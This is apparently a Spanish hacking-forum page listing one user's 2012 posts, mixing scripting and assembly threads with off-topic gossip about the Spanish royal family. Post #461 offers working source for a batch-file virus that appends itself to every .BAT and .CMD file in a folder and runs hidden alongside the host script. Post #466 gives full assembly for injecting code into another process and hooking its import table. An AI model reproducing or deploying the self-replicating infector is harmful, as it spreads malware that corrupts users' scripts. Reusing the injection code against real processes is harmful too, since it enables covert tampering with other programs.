Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Binary_Death

#461
Scripting / Re: REtos batch
25 Abril 2012, 01:03 AM
Cita de: 79137913 en 24 Abril 2012, 22:05 PM
HOLA!!!

Mmm, queres un reto...

1ro crea un bat que se autocopie a startup
2do crea un bat que se inyecte a si mismo a todos los bats y vbs del disco
3ro crea un bat que abra una pagina de internet con publicidad
4to crea un bat que haga Melt

Uni todo y postea.

GRACIAS POR LEER!!!

Respecto a ese reto... yo había hecho algo hace tiempo que servía para infectar ficheros por lotes de una forma decente.

Código (dos) [Seleccionar]

@:_v_main
@Echo Off %v_main%
For /f "Tokens=* Delims=" %%i in ( %v_main%
       'Dir/b *.BAT *.CMD' %v_main%
) Do Call:_Infect "%%~i" "%~0" %v_main%
Exit/B 0 %v_main%
:_Infect %v_main%
Find "@::i_b_t"<"%~1">NUL && GoTo:EoF %v_main%
For /f "Tokens=1 Delims=" %%_ in ( %v_main%
       'Type "%~1"^|find /v /c ""^<"%~1"'%v_main%
) Do Set/A "beg_rg=%%_+1" & Set/A "end_rg=%%_+6" %v_main%
( %v_main%
       Echo. %v_main%
       Echo.@::i_b_t %v_main%
       Echo.@Set "Str_R=v_ma" %v_main%
       Echo.@GoTo:_%%~1 %v_main%
       Echo.:_ %v_main%
       Echo.@Start "" /B /high "%%~0" %%Str_R%%in %v_main%
) >> "%~1" %v_main%
( %v_main%
       Echo.%beg_rg%,%end_rg%,1M %v_main%
       Echo.E %v_main%
)|Edlin /B %~1 %v_main%
Find "v_main"<"%~2">>"%~1" %v_main%
Goto:EoF %v_main%


Lo bueno es que un .BAT infectado así permite que el malware corra oculto mientras se ejecuta el script huésped.
Usa lo que sería una especie de threads en batch, gracias a startb /b que crea una nueva instancia en el programa sin generar una nueva ventana.
De esa forma se genera la instancia del malware y después le da el control al script para su normal ejecución.
Eso también hace que la ejecución del malware pueda durar mucho tiempo sin que se noten efectos, ya que el programa huésped se ejecutará al instante.

Por cierto, la instancia del malware comparte el mismo handle de entrada y salida (y error) del programa huésped, así que se pueden hacer cosas divertidas haciendo por ejemplo que el programa huésped muestre algunos mensajes según las operaciones realizadas.
#462
Cita de: Constance en 25 Abril 2012, 00:25 AM
A ver, aunque en España se ha tapado todo eso, Jaime Peñafiel ( periodista que conoce muy de cerca los entresijos de la familia real) contó como había sido ....

Alfonso de Borbón y Borbón tenía 15 años y estudiaba en Madrid. El resto de su familia vivía en Portugal, exiliada por la dictadura de Francisco Franco.

En marzo del  1956 viajó en tren a Estoril ( Portugal) para pasar la Semana Santa con su familia.,  La mañana del Jueves Santo asistió con sus padres y hermanos a los oficios religiosos con su hermano Juan Carlos. Su madre les dio permiso de utilizar el arma que un amigo les había regalado., todos pensaban que estaba descargada pero habia una bala en la recámara , un disparo se oyó en la residencia real, a las ocho de la noche.

Juanito intentó taponar la herida con su mano, pero el infante Alfonso murió en sus brazosexplica Jaime Peñafiel .Este drama marcó a Juan Carlos para toda su vida..

El doctor Loureiro intentó salvar la vida del infante, pero no pudo hacer nada. El cuarto hijo de los condes de Barcelona murió el 29 de marzo de 1956.

Hundidos en el dolor La Embajada de España en Lisboa emitió un comunicado en el que informaba que al infante Juan Carlos se le había disparado el arma mientras la limpiaba.El día del funeral, la bandera de España rodeó el ataúd del infante mientras estuvo en capilla ardiente. Su cuerpo, vestido de negro, llevaba un rosario en las manos y la orden de Caballero del Santo Cáliz de Valencia en la solapa. Alfonso fue enterrado en el Cementerio de Nuestra Señora de la Guía, en Cascais (Portugal)

Su madre necesitó ayuda médica para superar el deceso. Don Juan de Borbón lanzó al mar la pistola que había producido tanto dolor. Y dos días después de la tragedia, Juan Carlos volvió a la Academia Militar de Zaragoza, con el corazón destrozado, tenía 17 años.

Muchas versiones se escucharon en las calles y durante muchos años reinó la confusión respecto al tema. Algunos historiadores, incluso, borraron el capítulo de las biografías del Rey.

.Un allegado al que cita Bertrand Meyer-Stabley, biógrafo de personalidades famosas, aseguró que el futuro rey nunca volvió a ser el mismo. Dijo que la religión le había sido de gran ayuda en esos momentos: Incluso habló de su deseo de abrazar la vida monacal. No lo hizo, pero ello no significa que hubiese superado el dolor. De hecho, según el biógrafo, algunos retratos goyescos del soberano muestran la melancolía tenaz que se instaló para siempre en su rostro.



Yo no soy monárquica pero creo que si jugando con una pistola ( que ya sé que es todo menos un juguete ) y pensando que está descargada, se dispara y mata a tu hermano , que se desploma delante de ti , y muere en tus brazos.....es unu golpe muy difícil de asumir, una cruz muy difícil de llevar , y no creo que para el rey haya sido fácil

Por mucho que todo el mundo tape el suceso, a tu solas no puedes engañarte y pensar que tu hermano está muerto porque tú lo mataste es muy muy DURO.....

Si razón tienes, sólo que yo ya perdí toda fe en cualquier gobernante. Están todos podridos.
Es curioso aún así, porque la muerte de Alfonso beneficiaba sospechosamente a Juan Carlos.

Que sí, que no se puede acusar a nadie sin pruebas, pero tan descaminado no creo que vaya cuando hasta el padre le dijo al rey "Júrame que no lo has hecho a propósito".
El rey no es ningún santo, está tan podrido como todos.

Pequeño resumen: http://www.rafapal.com/?p=1133

Ah, por cierto, lo de que el arma se disparó mientras la limpiaba es sólo lo que quisieron hacer creer al principio. Mismo Juan Carlos dijo que se disparó JUGANDO, y le disparó apuntándole para asustarle.

No sé yo si un experto en armas de toda clase podría tener semejante error... es como si yo me equivocara al sumar 2+2, es un autorreflejo. Para alguien acostumbrado a manejar armas lo primero es asegurarse que no hay ninguna bala en la recámara ni en el cargador.

Y en el caso de que eso fuera la verdad, sólo querría decir que el rey verdaderamente es subnormal, y que este país estuvo a manos de un subormal por no decir varios a lo largo de la historia. Es un hecho demasiado evidente pero que aún mucha gente se niega a aceptar.

Sin entrar en demasiada política, diré que a nuestro anterior presidente, Zapatero, le fue constatado por expertos psicólogos que no estaba en sus cabales para gobernar un país. Y el de ahora, Rajoy, no sé si lo está pero lo que está claro es que es un facha del carajo.

Y como suelo decir, es lo que hay. No sólo ocurren en España estas cosas, ocurren en todo el mundo.
#463
Dicen que el cabrón se cargó a su hermano pequeño.

El rey por el entonces tenía 18 años y una gran preparación militar, y "casualmente" se equivocó, se le disparó o ve tú a saber qué (dependiendo de la versión) el revólver y le fue a parar un tiro a su hermano de 14 años entre ceja y ceja.

No me jodas xD
#464
Scripting / Re: REtos batch
24 Abril 2012, 23:12 PM
Cita de: m0rf en 24 Abril 2012, 22:40 PM
numeros prims xDDDD


No way! Es "Nombres primers"!

#465
No creo que el niño aguante la fuerza de retroceso de la corredera, pero aún así, si la sostuvo con la suficiente firmeza (y sobre todo si el arma era de un tamaño considerable, ya que se sostiene mejor y además disipa mejor la fuerza de retroceso) sí que es posible que le haya volado la cabeza al padre.

Como está el mundo. ¿Pero a quién se le ocurre dejar un arma cargada delante de un crío? Y si no estaba cargada, ¿a quién se le ocurre enseñar el funcionamiento de un arma de fuego a un niño de 4 años?

Sea como fuere le está bien empleado que le volaran la tapa de los sesos.
#466
Gracias al tutorial de YST & Hacker_Zero entendí el API Hooking, pero por desgracia ese manual quedó a medias y jamás se explicó el método para hookear una API modificando la IAT.

Me puse y salió esto, cualquier error por favor decidmelo:


.386
.model flat, stdcall
option casemap:none

assume fs:nothing

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib


.data
Process db 'ejecutable.exe',0
Kernel db 'kernel32.dll',0
GetProc db 'GetProcAddress',0
.data?
Function dd ?
FunctionLen dd ?
pInfo PROCESS_INFORMATION <>
sInfo STARTUPINFO <>
function_start PROTO
.code
start:
invoke CreateProcess,0,addr Process,0,0,0,0,0,0,addr sInfo,addr pInfo

mov eax,offset function_end
sub eax,offset function_start
mov [FunctionLen],eax

invoke VirtualAllocEx,[pInfo.hProcess],0,[FunctionLen],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
mov [Function],eax

invoke GetModuleHandle,offset Kernel
mov [KernelBase],eax
push offset GetProcAddressName

invoke GetProcAddress,eax,offset GetProc
mov [pGetProcAddress],eax

invoke WriteProcessMemory,[pInfo.hProcess],[Function],offset function_start,[FunctionLen],0
invoke CreateRemoteThread,[pInfo.hProcess],0,0,[Function],0,0,0
invoke ExitProcess,0

;Injecting Function
function_start PROC
   call delta
delta:
pop ebp
sub ebp, offset delta
mov ebx, fs:[030h]
;Getting host process IAT address and its size
mov eax,[ebx+08h]
mov ebx,[eax+03Ch]
add ebx,eax
mov edx,[ebx+0D8h]
add edx,eax
mov [ebp+pIAT],edx
mov edx,[ebx+0DCh]
mov [ebp+IATsize],edx

;Getting the needed API's
;GetModuleHandle
mov ebx,offset GetModuleHandleName
add ebx,ebp
push ebx
push dword ptr [ebp+KernelBase]
call [ebp+pGetProcAddress]
mov [ebp+pGetModuleHandle],eax
;VirtualProtect
mov ebx,offset VirtualProtectName
add ebx,ebp
push ebx
push dword ptr [ebp+KernelBase]
call [ebp+pGetProcAddress]
mov [ebp+pVirtualProtect],eax
;Getting address of MessageBox
mov ebx,offset user32name
add ebx,ebp
push ebx
call [ebp+pGetModuleHandle]
mov ebx,offset MessageBoxName
add ebx,ebp
push ebx
push eax
call [ebp+pGetProcAddress]
mov [ebp+pMessageBox],eax
;Showing a MessageBox
push MB_OK + MB_ICONINFORMATION
push 0
mov ebx,offset MsgInjected
add ebx,ebp
push ebx
push 0
call [ebp+pMessageBox]
;Finding pointing address
xor edx,edx
mov eax,[ebp+IATsize]
mov ecx,04h
div ecx
mov ecx,eax
mov eax,[ebp+pMessageBox]
mov edi,[ebp+pIAT]
repnz scasd
sub edi,04h
;Patching the IAT
mov ebx,offset OldProtect
add ebx,ebp
push ebx
push PAGE_EXECUTE_READWRITE
push 04h
push edi
call [ebp+pVirtualProtect]
mov ebx,offset Hook
add ebx,ebp
mov [edi],ebx
ret

pIAT dd ?
IATsize dd ?
BaseImage dd ?
KernelBase dd ?
pGetProcAddress dd ?
GetProcAddressName db "GetProcAddress",0
user32name db "user32.dll",0
MessageBoxName db "MessageBoxA",0
pMessageBox dd ?
GetModuleHandleName db "GetModuleHandleA",0
pGetModuleHandle dd ?
VirtualProtectName db "VirtualProtect",0
pVirtualProtect dd ?
OldProtect dd ?
MsgInjected db "The function has been injected!",0

Hook:
;Delta offset
call deltahook
deltahook:
pop ebp
sub ebp,offset deltahook
pop ebx ;Saving to return after
mov edi,offset msghook
add edi,ebp
mov [esp+04h],edi ;Changing the stack parameters
call [ebp+pMessageBox] ;Calling the original address of MessageBox
push ebx ;Setting the returning address
ret
msghook db "MessageBox Hooked!", 0
function_start endp
function_end:
end start



El ejecutable que usé lo que hace es lanzar dos MessageBox, uno detrás de otro (podéis programarlo para ver cómo funciona).
No abre un proceso existente, sino que lo crea (arreglarlo es cuestión de un par de API's).
El proceso no lo crea suspendido, así pues al principio lanza el primer MessageBox junto con otro MessageBox que anuncia que la función ha sido inyectada. Después, al cerrar el mensaje de alerta y posteriormente el primer mensaje, lanza otro MessageBox que en teoría debería de ser el segundo del programa, pero como hookea la API hará que a partir de ahí todos los MessageBox muestren "MessageBox Hooked!"


Saludos!
#468
Estoy haciendo un código de API Hooking que modificará la IAT para saltar a la función que yo quiera, y para ello una de las cosas que debe recibir mi función inyectada es un puntero a GetProcAddress.
La función inyectada calcula ya la ImageBase de kernel32.dll, así que si quisiera podría obtener ese puntero a GetProcAddress en base a eso, pero me ahorraría bastante trabajo si pudiera pasarle como parametro al CreateRemoteThread el puntero que el programa inyector hubiera previamente obtenido, sin miedo a que esa dirección fuera errónea porque kernel32.dll se ha cargado en otra dirección en el programa en el que se inyectará el código.

Como kernel32.dll es la segunda función que un ejecutable carga en Windows (esto lo descubrió The Swash, mirando InLoadOrderModuleList de PEB_LDR_DATA) en teoría en condiciones normales debería de cargarse siempre en la misma dirección.

¡Gracias!
#469
Por suerte parece que ya se comienzan a aclarar las cosas en mi cabeza   :xD

Vamos a ver si con un poco de práctica y haciendo un par de programas lo asimilo del todo.

Gracias de nuevo Eternal. Un saludo.
#470
theternitend = Binary_Death en este caso.
Es que hacía mucho que no me conectaba y no recordaba ya la password que tenía, así que usé la cuenta que se creó un amigo.
Ya recuperé la pass.

En el caso de las DLL, es necesario tener una tabla de reubicación porque se cargan en el mismo espacio de memoria del proceso, ¿no?